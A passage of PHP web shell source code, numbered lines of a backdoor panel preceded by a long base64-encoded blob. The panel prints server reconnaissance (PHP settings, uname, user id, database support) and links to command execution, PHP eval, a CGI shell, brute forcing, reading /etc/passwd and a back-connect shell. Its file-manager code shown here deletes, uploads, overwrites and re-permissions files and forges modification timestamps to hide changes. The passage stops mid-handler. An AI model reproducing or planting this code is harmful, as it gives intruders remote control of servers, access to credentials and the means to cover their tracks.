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
  381. " border=0 width="260" height="180"></a>
  383. </td>
  385. <td>
  387. <span style="float:right;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> </span></br>
  391. <?php
  393. $curl_on = @function_exists('curl_version');
  395. $mysql_on = @function_exists('mysql_connect');
  397. $mssql_on = @function_exists('mssql_connect');
  399. $pg_on = @function_exists('pg_connect');
  401. $ora_on = @function_exists('ocilogon');
  403. $safe_mode = @ini_get('safe_mode');
  405. echo (($safe_mode)?("Safe_mod: <b><font color=red>ON</font></b> - "):("Safe_mod: <b><font color=green>OFF</font></b> - "));
  407. echo "PHP version: <b>".@phpversion()."</b> - ";
  409. echo "cURL: ".(($curl_on)?("<b><font color=red>ON</font></b> - "):("<b><font color=green>OFF</font></b> - "));
  411. echo "MySQL: <b>";
  413. $mysql_on = @function_exists('mysql_connect');
  415. if($mysql_on){
  417. echo "<font color=red>ON</font></b> - "; } else { echo "<font color=green>OFF</font></b> - "; }
  419. echo "MSSQL: <b>";
  421. $mssql_on = @function_exists('mssql_connect');
  423. if($mssql_on){echo "<font color=red>ON</font></b> - ";}else{echo "<font color=green>OFF</font></b> - ";}
  425. echo "PostgreSQL: <b>";
  427. $pg_on = @function_exists('pg_connect');
  429. if($pg_on){echo "<font color=red>ON</font></b> - ";}else{echo "<font color=green>OFF</font></b> - ";}
  431. echo "Oracle: <b>";
  433. $ora_on = @function_exists('ocilogon');
  435. if($ora_on){echo "<font color=red>ON</font></b>";}else{echo "<font color=green>OFF</font></b><BR>";}
  439. echo "Disable functions : <b>";
  441. if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
  445. echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
  447. echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
  449. ?> </td>
  451. </tr></table></td>
  453. </tr>
  455. <tr class="alt1">
  456. <font face="ARIALBLACK" color="#00e400"><marquee direction="right"loop="true" scrollamount="200" style="-webkit-animation: sonicq12 3s infinite"><b>_________________________________ </b> <b> _________________________________ _________________________________</b></marquee></font><br />
  457. <td width=100%><span style="float:right;">[Server IP: <?php echo "<font color='#00e400'>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color='#00e400'>".$_SERVER['REMOTE_ADDR']."</font>";?> - <?php if ($admin['check']){?><a href="javascript:goaction('logout');"><font color="#00e400">Log Out</font></a><?php } ?><?php if($admin['check'] == false){ ?> <font color="red">PUBLIC SH3LL</font> <?php } ?>] </span><br />
  458. <font face="ARIALBLACK" color="red"><marquee direction="left"loop="true" scrollamount="200" style="-webkit-animation: sonicq12 3s infinite"><b>_________________________________ </b> <b> _________________________________ _________________________________</b></marquee></font><br />
  461. <center>
  462. <b>|--></b>
  463. <a href="javascript:goaction('file');">File Manager</a> |
  465. <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
  467. <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
  469. <a href="javascript:goaction('shell');">Execute Command</a> |
  471. <a href="javascript:goaction('phpenv');">PHP Variable</a> |
  473. <a href="javascript:goaction('eval');">Eval PHP Code</a> |
  475. <a href="javascript:goaction('cgi');">CGI Shell</a>
  477. <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
  479. <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
  481. <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
  483. <b><--|</b>
  484. </center>
  485. </td>
  487. </tr>
  489. </table>
  492. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  494. <?php
  498. formhead(array('name'=>'goaction'));
  500. makehide('action');
  502. formfoot();
  506. $errmsg && m($errmsg);
  512. !$dir && $dir = '.';
  514. $nowpath = getPath(SA_ROOT, $dir);
  516. if (substr($dir, -1) != '/') {
  518. $dir = $dir.'/';
  520. }
  522. $uedir = ue($dir);
  526. if (!$action || $action == 'file') {
  532. $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
  538. if ($doing == 'deldir' && $thefile) {
  540. if (!file_exists($thefile)) {
  542. m($thefile.' directory does not exist');
  544. } else {
  546. m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
  548. }
  550. }
  556. elseif ($newdirname) {
  558. $mkdirs = $nowpath.$newdirname;
  560. if (file_exists($mkdirs)) {
  562. m('Directory has already existed');
  564. } else {
  566. m('Directory created '.(@mkdir($mkdirs,0755) ? 'success' : 'failed'));
  568. @chmod($mkdirs,0755);
  570. }
  572. }
  578. elseif ($doupfile) {
  580. m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  582. }
  588. elseif ($editfilename && $filecontent) {
  590. $fp = @fopen($editfilename,'w');
  592. m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
  594. @fclose($fp);
  596. }
  602. elseif ($pfile && $newperm) {
  604. if (!file_exists($pfile)) {
  606. m('The original file does not exist');
  608. } else {
  610. $newperm = base_convert($newperm,8,10);
  612. m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
  614. }
  616. }
  622. elseif ($oldname && $newfilename) {
  624. $nname = $nowpath.$newfilename;
  626. if (file_exists($nname) || !file_exists($oldname)) {
  628. m($nname.' has already existed or original file does not exist');
  630. } else {
  632. m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
  634. }
  636. }
  642. elseif ($sname && $tofile) {
  644. if (file_exists($tofile) || !file_exists($sname)) {
  646. m('The goal file has already existed or original file does not exist');
  648. } else {
  650. m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
  652. }
  654. }
  660. elseif ($curfile && $tarfile) {
  662. if (!@file_exists($curfile) || !@file_exists($tarfile)) {
  664. m('The goal file has already existed or original file does not exist');
  666. } else {
  668. $time = @filemtime($tarfile);
  670. m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  672. }
  674. }
  680. elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
  682. if (!@file_exists($curfile)) {
  684. m(basename($curfile).' does not exist');
  686. } else {
  688. $time = strtotime("$year-$month-$day $hour:$minute:$second");
  690. m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  692. }
  694. }
  700. elseif($doing == 'downrar') {
  702. if ($dl) {
  704. $dfiles='';
  706. foreach ($dl as $filepath => $value) {
  708. $dfiles.=$filepath.',';
  710. }
  712. $dfiles=substr($dfiles,0,strlen($dfiles)-1);
  714. $dl=explode(',',$dfiles);
  716. $zip=new PHPZip($dl);
  718. $code=$zip->out;
  720. header('Content-type: application/octet-stream');
